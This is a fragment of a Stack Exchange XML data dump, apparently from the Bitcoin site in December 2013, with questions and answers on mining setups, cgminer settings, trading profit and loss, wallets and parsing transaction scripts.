.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove it from startup, run :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo update-rc.d bitcoind remove&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11015" LastActivityDate="2013-12-19T16:18:23.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19050" PostTypeId="1" CreationDate="2013-12-19T16:35:13.080" Score="5" ViewCount="8997" Body="&lt;p&gt;Do you need to download the entire blockchain in order to mine bitcoins? I'm downloading bitcoin-qt, and I'm afraid it will take up too much memory on my computer. Also, I just read that when another node downloads the blockchain from me, that will also tie speeds. Is this true?&lt;/p&gt;&#xA;" OwnerUserId="11097" LastEditorUserId="5406" LastEditDate="2016-03-10T09:51:44.740" LastActivityDate="2019-10-10T11:50:22.020" Title="Do you need to download the entire blockchain in order to mine bitcoins?" Tags="|mining-pools|synchronization|solo-mining|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19051" PostTypeId="2" ParentId="19050" CreationDate="2013-12-19T16:51:44.347" Score="7" Body="&lt;p&gt;If you are solo mining, then you need the entire blockchain since each block you mine references the hash code of the last block in the chain.  If you don't have the last block yet, then the network will reject your mined blocks since there will already be later blocks in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are mining in a pool, then you don't need the blockchain or bitcoin-qt.  Just point your miner at the pool and start mining.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-19T16:51:44.347" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19052" PostTypeId="2" ParentId="19050" CreationDate="2013-12-19T16:52:15.967" Score="4" Body="&lt;p&gt;If you mine in a pool, the pool will send you whatever work you are mining on, i.e. you don't need to download the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are solo-mining you will need the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-19T16:52:15.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19054" PostTypeId="2" ParentId="19046" CreationDate="2013-12-19T17:09:56.700" Score="1" Body="&lt;p&gt;Webcams aren't supported in MultiBit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however paste a QR code using the 'paste' button in the side bar. You can also drag and drop an image onto the existing QR code in the side bar.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-12-19T17:09:56.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19055" PostTypeId="2" ParentId="18540" CreationDate="2013-12-19T17:26:44.640" Score="3" Body="&lt;p&gt;I'm trying to find sort of a business model template, the closest I got to is something really basic but might be helpful to you:&#xA;&lt;a href=&quot;https://bmfiddle.com/f/#/Wn322&quot; rel=&quot;nofollow&quot;&gt;https://bmfiddle.com/f/#/Wn322&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10950" LastActivityDate="2013-12-19T17:26:44.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19056" PostTypeId="1" CreationDate="2013-12-19T17:47:45.773" Score="1" ViewCount="2654" Body="&lt;p&gt;Do I need Bitcoin-qt to run Armory? I keep hearing conflicting information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to mine bitcoins in a pool, so ideally, I want a very secure wallet, and I would prefer not to download the entire blockchain if I don't have to. &lt;/p&gt;&#xA;" OwnerUserId="11097" LastEditorUserId="5406" LastEditDate="2016-04-25T21:10:22.790" LastActivityDate="2016-04-25T21:10:22.790" Title="Do I need Bitcoin-qt to run Armory?" Tags="|bitcoin-core|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19058" PostTypeId="1" CreationDate="2013-12-19T18:44:45.170" Score="1" ViewCount="9421" Body="&lt;p&gt;I'm following &lt;a href=&quot;http://www.cryptobadger.com/2013/04/build-a-litecoin-mining-rig-windows/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; for mining Litecoins, and I'm having a little hard time finding the optimal cgminer settings for my AMD Radeon HD 6670. Any hint on that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tutorial gives this configurations for Radeon 7950 series GPUs (which is not mine):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;timeout /t 30&#xA;setx GPU_MAX_ALLOC_PERCENT 100&#xA;setx GPU_USE_SYNC_OBJECTS 1&#xA;cgminer --scrypt -I 19 --thread-concurrency 21712 -o stratum+tcp://coinotron.com:3334 -u [USER] -p [PASS]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="647" LastEditorUserId="5406" LastEditDate="2016-04-24T09:01:45.773" LastActivityDate="2016-04-24T09:01:45.773" Title="What are the optimal cgminer settings for a AMD Radeon HD 6670?" Tags="|litecoin|cgminer|gpu-mining|" AnswerCount="3" CommentCount="2" ClosedDate="2015-06-02T23:38:40.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="19060" PostTypeId="1" AcceptedAnswerId="19289" CreationDate="2013-12-19T19:19:43.283" Score="2" ViewCount="3727" Body="&lt;p&gt;I can't seem to wrap my head around this.  Let's say we have these fake trades between two currencies&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        C1  C2      Rate    dPIP    Trade   Value C1    Value C2&#xA;Day 1   1   0       10      0       buy      1          10&#xA;Day 2   0   10      10      0       sell     1          10&#xA;Day 3   10  0        1     -9       buy     10          10&#xA;Day 4   0   1000    100    99       sell    10          1000&#xA;Day 5   5   0       200   100       buy      5          1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Day 2 you decide to short and overnight it crashes to 1 on Day 3.  So you buy.  Your holdings for Currency 1 (C1) go up 10x.  But the value of your holdings doesn't change.  Likewise you decide to short on Day 4 after seeing a 100x jump.  On Day 5 you get cold feet and decide you sold too soon and buy in again at 2x at a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you compute the running profits and losses (and which currency should be referenced)?  For Example on Day 3 you made 9 of C1.  Day 4: 990 of C2, Day 5: you lost 5 of C1.  What is the right way to track the P&amp;amp;L because they are relative to each other.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what is the overall yield?  In the end of it all you went from C1=1 to C1=5 or in terms of C2...C2=10 to C2=1000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  I've looked that this some more.  If I look the change in C2 values during sales and the change in C1 values during buys I think I get the trade-trade yield.  Does this look correct?  Could then be summed to show the accumulative yield?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example C1 yield (2nd buy) Yield=((10-1)/1)*100 = 900%&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        C1  C2      Rate    dPIP    Trade   Value C1    Value C2    Yield %&#xA;Day 1   1   0       10      0       buy      1          10&#xA;Day 2   0   10      10      0       sell     1          10            0&#xA;Day 3   10  0        1     -9       buy     10          10          900&#xA;Day 4   0   1000    100    99       sell    10          1000       9900&#xA;Day 5   5   0       200   100       buy      5          1000        -50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you add up the yields you get 900+9900-50=10750%, but if you look at the yield on C1 it is 500% vs C2 at 1000%.  Obviously I'm not doing something right.&lt;/p&gt;&#xA;" OwnerUserId="10502" LastEditorUserId="10502" LastEditDate="2013-12-21T17:04:30.157" LastActivityDate="2018-06-07T14:21:00.170" Title="How to compute profit and loss with currency trading?" Tags="|trading|money|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19061" PostTypeId="2" ParentId="19060" CreationDate="2013-12-19T19:37:51.003" Score="1" Body="&lt;p&gt;The simplest way to track profits and losses from trading is to mark your holdings to market in your local currency each day. That is, each day, value all your holdings in your local currency at their market price and sum them. If that number goes up, you made a profit on your combination of holding and trading currencies. If that number goes down, you took a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various benchmarks you can compare that to. One is your total investment, which you should also value at market price as you invest it. So if you put in one Bitcoin when Bitcoins are worth $750, you add $750 to your total investment. Another is how much you would have if you had simply held Bitcoins instead of trading. Another possibility is to compare against other types of investments such as stocks or bonds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that holding and trading crypto-currencies can be profitable but is extremely risky.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-19T19:37:51.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19062" PostTypeId="2" ParentId="13505" CreationDate="2013-12-19T19:53:49.977" Score="2" Body="&lt;p&gt;Start the &lt;code&gt;cgminer&lt;/code&gt; script with the &lt;code&gt;-T&lt;/code&gt; flag. That worked for me. It disables ncurses and uses text-only output.&lt;/p&gt;&#xA;" OwnerUserId="11106" LastActivityDate="2013-12-19T19:53:49.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19064" PostTypeId="2" ParentId="3547" CreationDate="2013-12-19T20:21:32.473" Score="2" Body="&lt;p&gt;&lt;strong&gt;Exploits / Hacks resulting in BTC theft:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3629/what-is-the-story-behind-the-linode-problem&quot;&gt;The Linode Incident&lt;/a&gt; - 46,000 BTC were stolen due to the compromise of a single employee workstation.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=66916.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Slush's Backup Hacked&lt;/a&gt; - 3094 BTC stolen after a backup of Slush's pool was compromised.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dailytech.com/Inside+the+MegaHack+of+Bitcoin+the+Full+Story/article21942.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mt.Gox Database Theft&lt;/a&gt; - a reported 100,000 BTC were stolen, and another 400,000 BTC reported 'missing'. Mt.Gox shuts down and stops honoring trades of compromised coins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[D]DoS Attacks ([Distributed] Denial of Service):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9859/ddos-on-big-mining-pools-a-quick-way-to-51&quot;&gt;Slush's Mining Pool DDoS&lt;/a&gt; - A DDoS attack which lasted nearly 2 days before being recovered from.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is a CW entry in the hopes of creating a clean index of info about all known (and notable) attacks against mining pools. Please maintain it as new information becomes available.&lt;/p&gt;&#xA;" OwnerUserId="4993" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-12-19T20:29:36.407" CommentCount="0" CommunityOwnedDate="2013-12-19T20:21:32.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="19065" PostTypeId="2" ParentId="17576" CreationDate="2013-12-19T20:46:26.227" Score="0" Body="&lt;p&gt;This was my problem as well, but hated running with the &lt;code&gt;-T&lt;/code&gt; toggle on.&#xA;I found out that it had to do with the ncurses lib missing on my freshly installed Win7 system, so after I installed &lt;a href=&quot;http://cygwin.com/install.html&quot; rel=&quot;nofollow&quot;&gt;cygwin&lt;/a&gt; cgminer worked without the &lt;code&gt;-T&lt;/code&gt; toggle and with the normal stats screen.&lt;/p&gt;&#xA;" OwnerUserId="11109" LastEditorUserId="1891" LastEditDate="2013-12-20T10:11:32.107" LastActivityDate="2013-12-20T10:11:32.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19067" PostTypeId="2" ParentId="16903" CreationDate="2013-12-19T20:48:51.877" Score="1" Body="&lt;p&gt;*You basically need to get money into E*Trades US back account.*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E*Trade will either want a wire transfer (from Europe) or a bank transfer from the US.&#xA;They have to be very careful about Anti Money Laundering. So  wont want to accept money directly from a Bit-Coin Exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can open a US account from your local EU bank&lt;/strong&gt;. Your local bank will act as a proxy to make the required AML and KYC checks. You can then use bitcoin to route the money via a bitcoin exchanges to that account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if this is just a one off. You will probably find the costs, (fees at the EU exchange and the US one) and risk of bit-coin volatility; not worth the effort.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember this is a problem which existed before bitcoin. So there will be ways of getting it to work with out bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would contact E*trade EU and US and ask them what would be the best way to find you purchase. (E*trade EU may have an arrangement to do this simply, already)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are buying a large enough quantity of shares, then the wire fees etc will only amount to a few percent anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;That being said having a US acc would be useful for BTC stuff later on.&lt;/strong&gt; For example if want to work remotely for a US company, and need an efficient way of transferring money regularly to you home currency personal bank account. &lt;/p&gt;&#xA;" OwnerUserId="7052" LastEditorUserId="7052" LastEditDate="2013-12-19T20:58:40.377" LastActivityDate="2013-12-19T20:58:40.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19068" PostTypeId="2" ParentId="17576" CreationDate="2013-12-19T20:50:07.957" Score="1" Body="&lt;p&gt;Make sure your bat file has these two lines first&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setx GPU_MAX_ALLOC_PERCENT 100&#xA;setx GPU_USE_SYNC_OBJECTS 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11099" LastActivityDate="2013-12-19T20:50:07.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19069" PostTypeId="2" ParentId="19031" CreationDate="2013-12-19T21:11:58.713" Score="2" Body="&lt;p&gt;I guess I'll give short answers, but you really should just read a wiki article or something.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The bitcoins are created for you as a reward. They didn't exist until that moment and nobody put them there. The coins are not tangible, they exist as just numbers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;People are interested in bitcoins because they offer some things that government-issued currency doesn't. They can be exchanged for money using online exchanges, or even in person. Essentially, somebody pays you their &quot;real&quot; money for your bitcoins. It's not much different than buying any digital good, for example music. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The software itself was designed to limit the number of coins to a certain number. The decision was made by the bitcoin creator(s). Nobody can change this number now, unless they re-design bitcoin into something new (which happens all the time with different altcoins).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11099" LastActivityDate="2013-12-19T21:11:58.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19071" PostTypeId="2" ParentId="17576" CreationDate="2013-12-19T22:21:07.283" Score="0" Body="&lt;p&gt;In addition to the -T workaround, I found the fix for my machine was to delete the &lt;code&gt;.bin&lt;/code&gt; file generated. The fault was reproducible every single time if I left it alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I execute from a batch file, I just added a line before executing cgminer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;del scrypt*.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Naturally, this deletes any &lt;code&gt;.bin&lt;/code&gt; files prefixed with &lt;code&gt;scrypt&lt;/code&gt; (leaving others alone if you're mining something else using the same base directory).&lt;/p&gt;&#xA;" OwnerUserId="11113" LastActivityDate="2013-12-19T22:21:07.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19072" PostTypeId="1" CreationDate="2013-12-19T22:42:50.583" Score="2" ViewCount="1146" Body="&lt;p&gt;Where can I find a list of pools and their features? I want to choose the best pool. On google I find no good comparison. &lt;/p&gt;&#xA;" OwnerUserId="4138" LastActivityDate="2015-12-02T15:31:00.407" Title="Pool comparison list?" Tags="|mining-pools|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19075" PostTypeId="1" AcceptedAnswerId="19292" CreationDate="2013-12-19T23:57:51.933" Score="2" ViewCount="436" Body="&lt;p&gt;You can get streaming market depth data form Mt Gox as described here: &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming#Depth&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/MtGox/API/Streaming#Depth&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand what market depth is but how do I interpret this data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An edited example of a JSON market depth response at the above link is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;currency&quot;:&quot;USD&quot;,&#xA;    &quot;item&quot;:&quot;BTC&quot;,&#xA;    &quot;now&quot;:&quot;1323644358437819&quot;,&#xA;    &quot;price&quot;:&quot;14.43&quot;,&#xA;    &quot;total_volume_int&quot;:&quot;849766000&quot;,&#xA;    &quot;type_str&quot;:&quot;ask&quot;,&#xA;    &quot;volume&quot;:&quot;-2.71&quot;,&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does &lt;code&gt;volume&lt;/code&gt;, &lt;code&gt;total_volume_int&lt;/code&gt; and &lt;code&gt;price&lt;/code&gt; relate to? What insight do I get from this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the market depth charts at &lt;a href=&quot;http://bitcoincharts.com/markets/mtgoxUSD.html&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/markets/mtgoxUSD.html&lt;/a&gt; but how does the above JSON data relate to them?&lt;/p&gt;&#xA;" OwnerUserId="6707" LastActivityDate="2014-07-15T01:13:58.353" Title="How do I interpret Mt Gox market depth streaming data?" Tags="|exchanges|mtgox|trading|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19077" PostTypeId="2" ParentId="18517" CreationDate="2013-12-20T01:34:25.850" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoinpaperwallet.com/holiday-design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This wallet design&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Has a holiday feel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Includes basic instructions on the back for safekeeping and redeeming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Has a number of tamper-evident and idiot-proof features to prevent revelation of private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ELGtW.jpg&quot; alt=&quot;Wallet sealed with optional hologram tape&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3171" LastEditorUserId="1891" LastEditDate="2013-12-21T13:12:04.150" LastActivityDate="2013-12-21T13:12:04.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19078" PostTypeId="2" ParentId="11931" CreationDate="2013-12-20T01:41:30.603" Score="1" Body="&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; use &lt;strong&gt;&lt;a href=&quot;http://brainwallet.org&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org&lt;/a&gt;&lt;/strong&gt; to generate a so-called &quot;Memory Wallet&quot;. &lt;strong&gt;&lt;em&gt;Do not use the live website, download the sourcecode from github.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How this works is you select a phrase, like &quot;Correct Horse Battery Staple&quot;, and that phrase will consistently compute to a keypair you can use to store and later retrieve bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BE EXTREMELY CAREFUL, or maybe don't do this at all. There are untold numbers of robots perpetually checking the blockchain for any conceivable passphrase. If your passphrase is not EXTREMELY strong, any coins you put in there will likely be swiped in a matter of hours, if not minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1ndsxi/a_test_of_brainwallet_passphrases/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1ndsxi/a_test_of_brainwallet_passphrases/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to make a brain wallet, I recommend something absolutely impossible to brute force, like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;my favorite superhero, childhood address, my social security number&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;giving you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Captain Underpants, 112 Elm Street, Oakland, CA, 555-1212-555&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2013-12-20T01:41:30.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19079" PostTypeId="2" ParentId="18986" CreationDate="2013-12-20T01:51:15.277" Score="3" Body="&lt;p&gt;I recommend printing out too. Crossposting from something I posted to reddit here, especially since I have direct experience with digital data going bad on supposedly stable mediums (e.g. CDRs.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reasons for using a simple paper wallet instead of digital data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Inheritance. If you were to die very unexpectedly from an Aneurysm, will your family (A) know you have Bitcoin, and (B) know how to retrieve it? Paper wallets make this easy. You just keep a copy of your paper wallet in the safety deposit box / safe along with precious jewels and cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Longevity. Have you ever dealt with obsolete data before? I have. Here's a sampling of what I've experienced in the past 29 years (no exaggeration) of dealing with my own data:&#xA;I've had to recover data on obsolete media (5.25 floppy disks) stored in obsolete formats, with limited success I've had to recover data on gold-plated CDR's subject to &quot;bitrot&quot; because the manufacturers didn't realize that CDRs would oxidize after as little as 10 years, again with limited success&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run around in circles trying to preserve data when interfaces change. I've still got masses of data on 8mm tapes written with SCSI drives and I have no idea how I'll ever recover it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you commit your data to an encrypted thumbdrive, or an encrypted cloud service, or whatever digital medium, you are also committing yourself to shepherding that data from medium to medium as the technology evolves. Talk about &quot;human error&quot;! USB will not be around in 10 years. Nor dropbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, what's a proposal for storing information in way that will be safe and relevant for 20 years without having to migrate your data to more modern media every so often?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you commit your data to a piece of paper, you get to rely on 1000's of years of human experience regarding how to keep paper, jewels, cash, etc. safe without being screwed over by technology or hackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I'm the guy behind &lt;a href=&quot;https://bitcoinpaperwallet.com&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinpaperwallet.com&lt;/a&gt; so obviously I'm totally biased. :)&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2013-12-20T01:51:15.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19080" PostTypeId="1" AcceptedAnswerId="19341" CreationDate="2013-12-20T02:00:40.567" Score="1" ViewCount="3130" Body="&lt;p&gt;By taking a look at all the current AMD cards comparison:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/w/index.php?title=Comparison_of_AMD_graphics_processing_units&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/w/index.php?title=Comparison_of_AMD_graphics_processing_units&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if GFLOPS would be the best way to compare the raw power those cards would have for Litecoin mining.&#xA;In that case is single or double precision more important for the current mining software?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I'm aware that power consumption is another key factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No answers so far...&#xA;A friend of mine who has been mining for a while thinks the number of shaders is the most important one. Still in the comparison chart above there are more specs that could be important I guess:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pixel pipelines&lt;/li&gt;&#xA;&lt;li&gt;Vertex shaders&lt;/li&gt;&#xA;&lt;li&gt;Texture mapping units&lt;/li&gt;&#xA;&lt;li&gt;Render output units&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Still I think that they should all be reflected into the Processing Power GFLOPs, either single or double precision.&lt;/p&gt;&#xA;" OwnerUserId="10653" LastEditorUserId="2306" LastEditDate="2016-02-05T17:45:23.747" LastActivityDate="2016-02-05T17:45:23.747" Title="Most important spec to look for on a GPU for scrypt mining (e.g. Litecoin)" Tags="|litecoin|gpu|scrypt|mining-hardware|amd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19081" PostTypeId="1" CreationDate="2013-12-20T03:08:23.073" Score="10" ViewCount="8075" Body="&lt;p&gt;can someone walk me through the process of combining script inputs and outputs to reveal the base58 encoded input and output addresses. take for example, &lt;a href=&quot;http://blockexplorer.com/block/00000000d14f2e97678951ad004d6699babd27e07ca722c46b30dc24c67eed7a&quot;&gt;block 728&lt;/a&gt;. this has two raw script inputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;493046022100e26d9ff76a07d68369e5782be3f8532d25ecc8add58ee256da6c550b52e8006b022100b4431f5a9a4dcb51cbdcaae935218c0ae4cfc8aa903fe4e5bac4c208290b7d5d01&#xA;&#xA;and&#xA;&#xA;493046022100a2ab7cdc5b67aca032899ea1b262f6e8181060f5a34ee667a82dac9c7b7db4c3022100911bc945c4b435df8227466433e56899fbb65833e4853683ecaa12ee840d16bf01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the first byte of each (49 hex = 73 dec) is the instruction to push 73 bytes onto the stack. &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address_.28pay-to-pubkey-hash.29&quot;&gt;according to the wiki&lt;/a&gt; each of these input scripts consists of a signature and a public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the raw output script is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;76a91412ab8dc588ca9d5787dde7eb29569da63c3a238c88ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which translates to the instructions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 OP_PUSHDATA0(20 bytes) 12ab8dc588ca9d5787dde7eb29569da63c3a238c OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;so given this information, how can i extract input addresses (as shown in blockexplorer.com)? is this even possible?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1Miuw7ifaTYY5qrzKYFcTDiojSFxRfAqwP and 18KrJNtPVu6LWRNPQReqF29iFm7vDhirMk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and output address&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12higDjoCCNXSA95xZMWUdPvXNmkAduhWv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2013-12-26T00:57:06.063" LastActivityDate="2020-02-01T19:28:38.797" Title="parsing bitcoin input and output addresses from scripts" Tags="|script|public-key|signature|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19082" PostTypeId="2" ParentId="13174" CreationDate="2013-12-20T03:32:32.540" Score="2" Body="&lt;p&gt;The odd prefix comes from a different magic byte used to generate this address. 05 in this case for a script address. Magic bytes are used for different purposes, like indicating the network. Bitcoins private key byte is 0x80, or 128. (testnet is 6F, litecoin has 48, giving L..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a list here: &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/List_of_address_prefixes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually they're defined in the chainparams.cpp  &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/2068f089c8b7b90eb4557d3f67ea0f0ed2059a23/src/chainparams.cpp#L129&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/2068f089c8b7b90eb4557d3f67ea0f0ed2059a23/src/chainparams.cpp#L129&lt;/a&gt; for bitcoin and related networks, except in really old versions&lt;/p&gt;&#xA;" OwnerUserId="11123" LastEditorUserId="11123" LastEditDate="2018-11-16T23:22:57.860" LastActivityDate="2018-11-16T23:22:57.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
